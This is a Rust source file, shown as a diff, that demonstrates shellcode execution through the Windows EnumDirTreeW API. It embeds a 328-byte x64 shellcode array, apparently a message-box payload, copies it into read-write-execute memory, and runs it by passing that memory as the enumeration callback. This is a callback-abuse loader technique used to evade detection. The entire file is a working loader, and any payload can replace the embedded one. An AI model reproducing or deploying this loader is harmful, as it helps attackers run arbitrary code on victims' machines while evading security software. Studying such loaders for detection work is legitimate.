ShellExec EnumDirTreeW API

Shellcode Execution using EnumDirTreeW API

Author: Whitecat18

shellcode_exec/EnumDirTreeW.rs

@@ -0,0 +1,88 @@
+/*
+    Shellcode Exec using EnumDirTreeW
+    Author: @5mukx
+*/
+
+use std::ffi::OsStr;
+use std::os::windows::ffi::OsStrExt;
+use std::ptr;
+use winapi::um::dbghelp::{EnumDirTreeW, SymInitializeW};
+use winapi::um::memoryapi::VirtualAlloc;
+use winapi::um::processthreadsapi::GetCurrentProcess;
+use winapi::um::winnt::{MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READWRITE};
+
+fn main() {
+    let op: [u8; 328] = [
+        0xfc,0x48,0x81,0xe4,0xf0,0xff,0xff,
+        0xff,0xe8,0xd0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,
+        0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x3e,0x48,0x8b,
+        0x52,0x18,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x48,0x8b,0x72,0x50,
+        0x3e,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,
+        0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
+        0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x3e,0x48,0x8b,0x52,0x20,
+        0x3e,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x3e,0x8b,0x80,0x88,0x00,
+        0x00,0x00,0x48,0x85,0xc0,0x74,0x6f,0x48,0x01,0xd0,0x50,0x3e,
+        0x8b,0x48,0x18,0x3e,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,
+        0x5c,0x48,0xff,0xc9,0x3e,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,
+        0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,
+        0x01,0xc1,0x38,0xe0,0x75,0xf1,0x3e,0x4c,0x03,0x4c,0x24,0x08,
+        0x45,0x39,0xd1,0x75,0xd6,0x58,0x3e,0x44,0x8b,0x40,0x24,0x49,
+        0x01,0xd0,0x66,0x3e,0x41,0x8b,0x0c,0x48,0x3e,0x44,0x8b,0x40,
+        0x1c,0x49,0x01,0xd0,0x3e,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,
+        0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,
+        0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,
+        0x5a,0x3e,0x48,0x8b,0x12,0xe9,0x49,0xff,0xff,0xff,0x5d,0x3e,
+        0x48,0x8d,0x8d,0x30,0x01,0x00,0x00,0x41,0xba,0x4c,0x77,0x26,
+        0x07,0xff,0xd5,0x49,0xc7,0xc1,0x00,0x00,0x00,0x00,0x3e,0x48,
+        0x8d,0x95,0x0e,0x01,0x00,0x00,0x3e,0x4c,0x8d,0x85,0x24,0x01,
+        0x00,0x00,0x48,0x31,0xc9,0x41,0xba,0x45,0x83,0x56,0x07,0xff,
+        0xd5,0x48,0x31,0xc9,0x41,0xba,0xf0,0xb5,0xa2,0x56,0xff,0xd5,
+        0x48,0x65,0x79,0x20,0x6d,0x61,0x6e,0x2e,0x20,0x49,0x74,0x73,
+        0x20,0x6d,0x65,0x20,0x53,0x6d,0x75,0x6b,0x78,0x00,0x6b,0x6e,
+        0x6f,0x63,0x6b,0x2d,0x6b,0x6e,0x6f,0x63,0x6b,0x00,0x75,0x73,
+        0x65,0x72,0x33,0x32,0x2e,0x64,0x6c,0x6c,0x00
+    ];
+
+    unsafe{
+        let address = VirtualAlloc(
+            ptr::null_mut(),
+            op.len(),
+            MEM_RESERVE | MEM_COMMIT,
+            PAGE_EXECUTE_READWRITE,
+        );
+
+        if address.is_null() {
+            panic!("Failed to allocate memory!");
+        }
+
+        std::ptr::copy_nonoverlapping(op.as_ptr(), address as *mut u8, op.len());
+
+        if SymInitializeW(GetCurrentProcess(), ptr::null(), 1) == 0 {
+            panic!("SymInitialize failed!");
+        }
+
+        let dir = OsStr::new("C:\\Windows")
+            .encode_wide()
+            .chain(Some(0))
+            .collect::<Vec<u16>>();
+        let pattern = OsStr::new("*.log")
+            .encode_wide()
+            .chain(Some(0))
+            .collect::<Vec<u16>>();
+
+        let mut dummy: [u16; 522] = [0; 522];
+
+        let result = EnumDirTreeW(
+            GetCurrentProcess(),
+            dir.as_ptr(),
+            pattern.as_ptr(),
+            dummy.as_mut_ptr(),
+            Some(std::mem::transmute(address)),
+            ptr::null_mut(),
+        );
+
+        if result == 0 {
+            panic!("EnumDirTreeW failed!");
+        }
+    }
+}